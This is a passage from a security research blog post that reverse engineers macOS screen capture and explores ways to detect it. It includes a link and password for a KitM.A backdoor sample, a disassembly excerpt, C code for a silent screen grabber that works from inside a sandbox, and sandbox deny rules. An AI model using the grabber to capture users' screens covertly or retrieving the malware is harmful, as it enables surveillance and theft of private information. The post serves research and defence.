&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;lldb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt; x/5i &lt;span class=&quot;nv&quot;&gt;$rip&lt;/span&gt;
-&amp;gt;  0x7fff6e7263da: callq  0x7fff6e7868ca 
                      &lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; symbol stub &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;: mach_msg
    0x7fff6e7263df: addq   &lt;span class=&quot;nv&quot;&gt;$0x10&lt;/span&gt;, %rsp
    0x7fff6e7263e3: movl   %eax, %r14d
    0x7fff6e7263e6: leal   &lt;span class=&quot;nt&quot;&gt;-0x10000002&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;%r14&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;, %eax
    0x7fff6e7263ed: cmpl   &lt;span class=&quot;nv&quot;&gt;$0xe&lt;/span&gt;, %eax
&lt;span class=&quot;o&quot;&gt;(&lt;/span&gt;lldb&lt;span class=&quot;o&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The remote port number is &lt;code class=&quot;highlighter-rouge&quot;&gt;0x00002113&lt;/code&gt;. Then using &lt;code class=&quot;highlighter-rouge&quot;&gt;lsmp&lt;/code&gt; command line tool, I can see that port &lt;code class=&quot;highlighter-rouge&quot;&gt;0x2113&lt;/code&gt; belongs to the WindowServer process:&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;lsmp &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt;
0x00002113  0x7591764b  send  ... WindowServer

&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;ps &lt;span class=&quot;nt&quot;&gt;-ef&lt;/span&gt; | &lt;span class=&quot;nb&quot;&gt;grep &lt;/span&gt;WindowServer
   88   201  /System/Library/PrivateFrameworks/ &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
               SkyLight.framework/Resources/WindowServer &lt;span class=&quot;nt&quot;&gt;-daemon&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Loading the WindowServer in IDAPro, I can see that it uses the same framework at its core as the screencapture utility. That’s kinda cool!&lt;/p&gt;

&lt;p&gt;The WindowServer program is basically a simple wrapper for the functionality in the SkyLight library that I’ve been analyzing all this time. This makes life easier in many ways. So, I looked for a corresponding capture function - just thinking that one should exist by, perhaps, a slightly different name. Doing a simple text search, I found &lt;code class=&quot;highlighter-rouge&quot;&gt;_XHWCaptureDesktop&lt;/code&gt;. Without hesitation, I attached the debugger and set a breakpoint. This is the resulting backtrace which looks super interesting!&lt;/p&gt;

&lt;div class=&quot;language-bash highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; thread &lt;span class=&quot;c&quot;&gt;#1, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 3.1&lt;/span&gt;
  &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; frame &lt;span class=&quot;c&quot;&gt;#0: 0x00007fff544c3287 SkyLight`_XHWCaptureDesktop&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#1: 0x00007fff54638105 SkyLight`__connectionHandler_block_invoke + 87&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#2: 0x00007fff5468aa57 SkyLight`CGXHandleMessage + 107&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#3: 0x00007fff546373bf SkyLight`connectionHandler + 212&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#4: 0x00007fff546caf21 SkyLight`post_port_data + 235&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#5: 0x00007fff546cabfd SkyLight`run_one_server_pass + 949&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#6: 0x00007fff546ca7d3 SkyLight`CGXRunOneServicesPass + 460&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#7: 0x00007fff546cb2b9 SkyLight`SLXServer + 832&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#8: 0x000000010afdddde WindowServer`_mh_execute_header + 3550&lt;/span&gt;
    frame &lt;span class=&quot;c&quot;&gt;#9: 0x00007fff5a4ce115 libdyld.dylib`start + 1&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Setting a breakpoint on &lt;code class=&quot;highlighter-rouge&quot;&gt;_XHWCaptureDesktop&lt;/code&gt; and triggering a screencapture, we get a nice trace that confirms the theory! This is great because if we want to keep an eye on who takes screenshots on the system, we can just look for calls to this function!&lt;/p&gt;

&lt;h2 id=&quot;detecting-a-screenshot&quot;&gt;Detecting a screenshot&lt;/h2&gt;

&lt;p&gt;After analyzing the process of how the screencapture utility works, I became curious if there was a way to detect when my screen gets captured. One mechanism is to use the mdfind utility. This is what &lt;a href=&quot;https://github.com/davedelong/Demos/blob/master/ScreenShot%20Detector/ScreenShot%20Detector/ScreenShot_DetectorAppDelegate.m&quot;&gt;Dave DeLong&lt;/a&gt; [6] used in his method. However, it seems to depend on the capture utility to generate an image file and set the &lt;code class=&quot;highlighter-rouge&quot;&gt;kMDItemIsScreenCapture = 1&lt;/code&gt; attribute within the file. Fairly certain that malware wouldn’t do that. Well, unless you’re developing KitM.A malware (see the Malware section)! This section is my exploration for how to perform detection of someone capturing the pixels off of my screen using the method reverse engineered in this article.&lt;/p&gt;

&lt;p&gt;Detecting if some process has requested a screenshot is actually quite easy with the right tools. Using LLDB is too heavy and we don’t really want to breakpoint a service that is being used. So, instead I decided to use &lt;a href=&quot;https://www.frida.re/&quot;&gt;Frida&lt;/a&gt; [1]. It is a great tool for dynamic analysis and uses techniques similar to those that would be applied by a production endpoint security tool.&lt;/p&gt;

&lt;div class=&quot;language-sh highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;dudes-Mac:~ dude&lt;span class=&quot;nv&quot;&gt;$ &lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;sudo &lt;/span&gt;frida-trace  &lt;span class=&quot;se&quot;&gt;\&lt;/span&gt;
                    &lt;span class=&quot;nt&quot;&gt;-a&lt;/span&gt; &lt;span class=&quot;s1&quot;&gt;'SkyLight!43287'&lt;/span&gt; WindowServer
Instrumenting functions...
sub_43287: Auto-generated handler at 
   &lt;span class=&quot;s2&quot;&gt;&quot;./__handlers__/SkyLight/sub_43287.js&quot;&lt;/span&gt;
Started tracing 1 &lt;span class=&quot;k&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;.&lt;/span&gt; Press Ctrl+C to stop.
           /&lt;span class=&quot;k&quot;&gt;*&lt;/span&gt; TID 0x307 &lt;span class=&quot;k&quot;&gt;*&lt;/span&gt;/
  6791 ms  sub_43287&lt;span class=&quot;o&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;For some reason Frida would not resolve the &lt;code class=&quot;highlighter-rouge&quot;&gt;_XHWCaptureDesktop&lt;/code&gt; function, however I was able to specify it by the offset into the dynamic library. The name resolution is probably some sort of a bug within Frida because all the other tools I’ve used (IDAPro, LLDB, nm) have resolved the symbol just fine.&lt;/p&gt;

&lt;p&gt;Luckily for us, the mach message that contains the request from the client is passed in as an argument to the &lt;code class=&quot;highlighter-rouge&quot;&gt;_XHWCaptureDesktop&lt;/code&gt; function. The pointer is passed in the &lt;code class=&quot;highlighter-rouge&quot;&gt;RDI&lt;/code&gt; register.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;* thread #1, queue = 'com.apple.main-thread', stop reason = breakpoint 1.1
    frame #0: 0x00007fff544c3287 SkyLight`_XHWCaptureDesktop
SkyLight`_XHWCaptureDesktop:
-&amp;gt;  0x7fff544c3287 &amp;lt;+0&amp;gt;: pushq  %rbp
    0x7fff544c3288 &amp;lt;+1&amp;gt;: movq   %rsp, %rbp
    0x7fff544c328b &amp;lt;+4&amp;gt;: pushq  %r15
    0x7fff544c328d &amp;lt;+6&amp;gt;: pushq  %r14
Target 0: (WindowServer) stopped.
(lldb) x/10wx $rdi
0x7ffee4c12610: 0x00001112 0x00000048 0x000153ab 0x0001249b
0x7ffee4c12620: 0x00000000 0x0000732a 0x00000000 0x00000001
0x7ffee4c12630: 0x00000000 0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;We can see that the message ID is &lt;code class=&quot;highlighter-rouge&quot;&gt;0x0000732a&lt;/code&gt; (see the psuedocode above, in the screencapture reverse engineering section, for details) and the local port is &lt;code class=&quot;highlighter-rouge&quot;&gt;0x000153ab&lt;/code&gt; that is the port this request was sent from. Let’s use &lt;code class=&quot;highlighter-rouge&quot;&gt;lsmp&lt;/code&gt; to track this port.&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;$ sudo lsmp -a
Process (4460) : screencapture
  name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x00000103  0x56e57599  send        --------        ---            2                                                  0x00000000  TASK SELF (4460) screencapture
0x00000203  0x56e59519  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000307  0x56e59321  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000403  0x56e56e61  recv        --------     0  ---      1               N        5         0  0x0000000000000000
0x00000507  0x56e57a31  send        --------        ---            1                                                  0x00000000  THREAD (0x7faf5)
0x00000603  0x56e56729  recv        --------     0  ---      1           1   N        5         0  0x0000000000000000
                  +     send-once   --------        ---            1         &amp;lt;-                                       0x000153ab  (157) WindowServer
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;There’s not really a good way to format the output of &lt;code class=&quot;highlighter-rouge&quot;&gt;lsmp&lt;/code&gt;, but if you scroll to the side you will see that &lt;code class=&quot;highlighter-rouge&quot;&gt;0x000153ab&lt;/code&gt; is connected to the WindowServer process. This is how we can derive the PID of the process that made the request.&lt;/p&gt;

&lt;p&gt;Just to confirm, we can also see that the WindowServer process has a reference to this port as well:&lt;/p&gt;

&lt;div class=&quot;highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;Process (157) : WindowServer
  name      ipc-object    rights     flags   boost  reqs  recv  send sonce oref  qlimit  msgcount  context            identifier  type
---------   ----------  ----------  -------- -----  ---- ----- ----- ----- ----  ------  --------  ------------------ ----------- ------------
0x000153ab  0x56e56729  send-once   --------        ---                     -&amp;gt;        5         0  0x0000000000000000 0x00000603  (4460) screencapture
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;malware&quot;&gt;Malware&lt;/h2&gt;

&lt;p&gt;In the conclusion, I mentioned that back in 2013 there was some malware that had screenshotting as one of its features. So, I obtained this sample. It is called &lt;a href=&quot;https://www.virustotal.com/en/file/6acd92d0dfe3e298d73b78a3dcc6d52ff4f85a70a9f2d0dcfe7ae4af2dd685cc/analysis/&quot;&gt;MAC.OSX.Backdoor.KitM.A&lt;/a&gt; by F-Secure and, by now, it is detected by everyone. You can download it here: &lt;a href=&quot;../../../../resources/malware_KitM.zip&quot;&gt;malware_KitM.zip&lt;/a&gt; Password &lt;code class=&quot;highlighter-rouge&quot;&gt;infect3d&lt;/code&gt;.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-asm&quot;&gt;__text:10000236F ; void __cdecl -[macpsAppDelegate getscreenshot]
                           (struct macpsAppDelegate *self, SEL)
__text:10000236F __macpsAppDelegate_getscreenshot_ proc near
...
__text:10000250F  lea     rdx, cfstr_UsrSbinScreenc 
                             ; &quot;/usr/sbin/screencapture&quot;
__text:100002516  mov     rdi, rbx
__text:100002519  call    cs:msgRef_setLaunchPath
                               ___objc_msgSend_fixup
__text:10000251F  lea     rsi, msgRef_arrayWithObjects
                               ___objc_msgSend_fixup
__text:100002526  lea     rdx, stru_100034A88 ; &quot;-x&quot;
__text:10000252D  lea     rcx, cfstr_T    ; &quot;-T&quot;
__text:100002534  lea     r8, cfstr_20    ; &quot;20
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Doing some quick reverse engineering, it’s easy to see that the malware actually uses the &lt;code class=&quot;highlighter-rouge&quot;&gt;screencapture&lt;/code&gt; utility that comes with the OS. It generates the screenshot images and uploads them somewhere. What’s interesting is that it means these screen capture images could be found using the &lt;code class=&quot;highlighter-rouge&quot;&gt;mdfind kMDItemIsScreenCapture:1&lt;/code&gt; command.&lt;/p&gt;

&lt;h2 id=&quot;building-the-grabber&quot;&gt;Building the grabber&lt;/h2&gt;

&lt;p&gt;Let’s say I was a &lt;a href=&quot;https://www.cnbc.com/2017/08/05/watch-this-russian-hacker-break-into-our-computer.html&quot;&gt;Russian Hacker&lt;/a&gt; and I wanted to covertly steal your pixels. Using the screencapture utility would work, but I don’t want to give myself away by shouting the shutter sound. Luckily for me there’s a super easy way of doing it myself! All I have to do is use the right libraries that are already on every OS X instance.&lt;/p&gt;

&lt;p&gt;As it turns out, there is more than one way to grab screen pixels. In his blog, &lt;a href=&quot;https://krausefx.com/blog/mac-privacy-sandboxed-mac-apps-can-take-screenshots&quot;&gt;Felix Krause&lt;/a&gt; [7] uses the &lt;code class=&quot;highlighter-rouge&quot;&gt;CGWindowListCreateImage&lt;/code&gt; function to capture the image. He goes a step further and actually sends the image through an OCR tool to extract the text. Cool! Below is my code for leveraging the same mechanism as the screencapture utility was revealed in the previous section.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cp&quot;&gt;#include &amp;lt;CoreGraphics/CGDirectDisplay.h&amp;gt;
#include &amp;lt;ImageIO/CGImageDestination.h&amp;gt;
#include &amp;lt;CoreFoundation/CFURL.h&amp;gt;
&lt;/span&gt;
&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;doCGCapture&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;n&quot;&gt;CGDirectDisplayID&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;displays&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
    &lt;span class=&quot;kt&quot;&gt;uint32_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dispCount&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// get a list of all displays
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CGGetActiveDisplayList&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;256&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;displays&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dispCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Error getting display list&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    
    &lt;span class=&quot;c1&quot;&gt;// iterate screens and take the screenshots
&lt;/span&gt;    &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dispCount&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;CGDirectDisplayID&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;dispId&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;displays&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;

        &lt;span class=&quot;c1&quot;&gt;// get the raw pixels
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;CGImageRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CGDisplayCreateImage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;dispId&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;kt&quot;&gt;char&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1024&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
        &lt;span class=&quot;n&quot;&gt;snprintf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1023&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;./image%d.png&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// output file
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;CFURLRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 
            &lt;span class=&quot;n&quot;&gt;CFURLCreateWithFileSystemPath&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; 
                   &lt;span class=&quot;n&quot;&gt;__CFStringMakeConstantString&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;path_str&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; 
                   &lt;span class=&quot;n&quot;&gt;kCFURLPOSIXPathStyle&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;false&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// file/format to save pixels to
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;CGImageDestinationRef&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; 
            &lt;span class=&quot;n&quot;&gt;CGImageDestinationCreateWithURL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;
                   &lt;span class=&quot;n&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;CFSTR&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;public.png&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;),&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;NULL&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//[4]
&lt;/span&gt;        
        &lt;span class=&quot;c1&quot;&gt;// add our captured pixels
&lt;/span&gt;        &lt;span class=&quot;n&quot;&gt;CGImageDestinationAddImage&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;img&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nil&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        
        &lt;span class=&quot;c1&quot;&gt;// generate the image
&lt;/span&gt;        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;CGImageDestinationFinalize&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;destination&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;n&quot;&gt;printf&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;Failed to finalize&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\n&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Let’s see how this code works in action:&lt;/p&gt;
&lt;center&gt;
&lt;table border=&quot;0&quot;&gt;
&lt;tr border=&quot;0&quot;&gt;
  &lt;td border=&quot;0&quot;&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/592HD1KWXnw&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/td&gt;
  &lt;td border=&quot;0&quot;&gt;&lt;iframe width=&quot;420&quot; height=&quot;315&quot; src=&quot;https://www.youtube.com/embed/DtW9fF3gGOo&quot; frameborder=&quot;0&quot; allowfullscreen=&quot;&quot;&gt;&lt;/iframe&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;
&lt;center&gt;&lt;/center&gt;

&lt;p&gt;The video on the left shows screen capturing via the command line or SSH. The video on the right shows the same thing by via a Cocoa App that is running from with in a very restrictive sandbox. The sandbox configuration that you would get if you get an application from the AppStore. Below is the screenshot ;) of the sandbox configuration that the app was build with. I know it was taking affect because I had to allow the App to store files in the Downloads folder otherwise it would get blocked by the sandbox.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;../../../../resources/app_sandbox_config.png&quot; alt=&quot;&quot; title=&quot;Xcode Sandbox configuration&quot; /&gt;&lt;/p&gt;

&lt;p&gt;No other permission was given to the App. By default the App pretty much cannot do anything on the system. This means that malware could come fully sandboxed and still steal your precious pixels!&lt;/p&gt;

&lt;p&gt;As far as I could tell, pretty much any user and any process that has access (which is a lot!) to the GUI window server can request all the pixels. The closest way I found, as far as prevention, was to use the sandbox, via &lt;code class=&quot;highlighter-rouge&quot;&gt;sandbox-exec&lt;/code&gt; command, mechanism with a strongly defined policy.&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-lisp&quot;&gt;(deny mach-lookup
    (global-name &quot;com.apple.windowserver.active&quot;))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;I’m not really an OS X expert, but I read some &lt;a href=&quot;https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf&quot;&gt;blogs&lt;/a&gt; [2]. There I found that &lt;a href=&quot;https://twitter.com/osxreverser&quot;&gt;OSXReverser&lt;/a&gt; has developed a manual on how to configure the sandbox. The closest thing I could find was to prevent the process from looking up the WindowServer port via its name. However, this is not a practical mechanism because lots of applications will want to access the GUI and, more important, port numbers aren’t that hard to bruteforce!&lt;/p&gt;

&lt;p&gt;Instead, I really wish there was a mechanism to block mach messages with a specific message ID. For example, something like this:&lt;/p&gt;

&lt;pre&gt;&lt;code class=&quot;language-list&quot;&gt;(deny mach-msg
    (mach-msg-id 0x732a))
&lt;/code&gt;&lt;/pre&gt;

&lt;p&gt;Dare I say that we need a way to do deep message inspection and filtering on OS X? Ideally, there should be a mechanism where the WindowServer could white list the processes that are allowed to call certain RPC functions.&lt;/p&gt;

&lt;p&gt;This way not every process would be allowed to steal pixels. Pixels that could contain private, confidential information like banking records, secret keys, or plans to the &lt;a href=&quot;https://en.wikipedia.org/wiki/Lockheed_Martin_F-35_Lightning_II&quot;&gt;Lockheed Martin F-35 Lightning II&lt;/a&gt; [3]!&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;0 - &lt;a href=&quot;https://developer.apple.com/library/content/documentation/Darwin/Conceptual/KernelProgramming/Mach/Mach.html&quot;&gt;Mach Overview&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;1 - &lt;a href=&quot;https://www.frida.re/&quot;&gt;Frida&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;2 - &lt;a href=&quot;https://reverse.put.as/wp-content/uploads/2011/09/Apple-Sandbox-Guide-v1.0.pdf&quot;&gt;Apple Sandbox Guide v1.0&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;3 - &lt;a href=&quot;https://en.wikipedia.org/wiki/Lockheed_Martin_F-35_Lightning_II&quot;&gt;Lockheed Martin F-35 Lightning II&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;4 - &lt;a href=&quot;https://developer.apple.com/library/content/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259-SW1&quot;&gt;System-Declared Uniform Type Identifiers&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;5 - &lt;a href=&quot;https://www.cultofmac.com/227658/new-mac-malware-takes-screenshots-and-uploads-them-without-permission/&quot;&gt;New Mac Malware Takes Screenshots And Uploads Them Without Permission&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;6 - &lt;a href=&quot;https://github.com/davedelong/Demos/blob/master/ScreenShot%20Detector/ScreenShot%20Detector/ScreenShot_DetectorAppDelegate.m&quot;&gt;ScreenShot_DetectorAppDelegate.m&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;7 - &lt;a href=&quot;https://krausefx.com/blog/mac-privacy-sandboxed-mac-apps-can-take-screenshots&quot;&gt;Mac Privacy: Sandboxed Mac apps can record your screen at any time without you knowing&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;8 - @patrickwardle: &lt;a href=&quot;https://twitter.com/patrickwardle/status/962803166323531777&quot;&gt;…but we can’t say we weren’t ‘warned’ From 2011&lt;/a&gt;&lt;/p&gt;
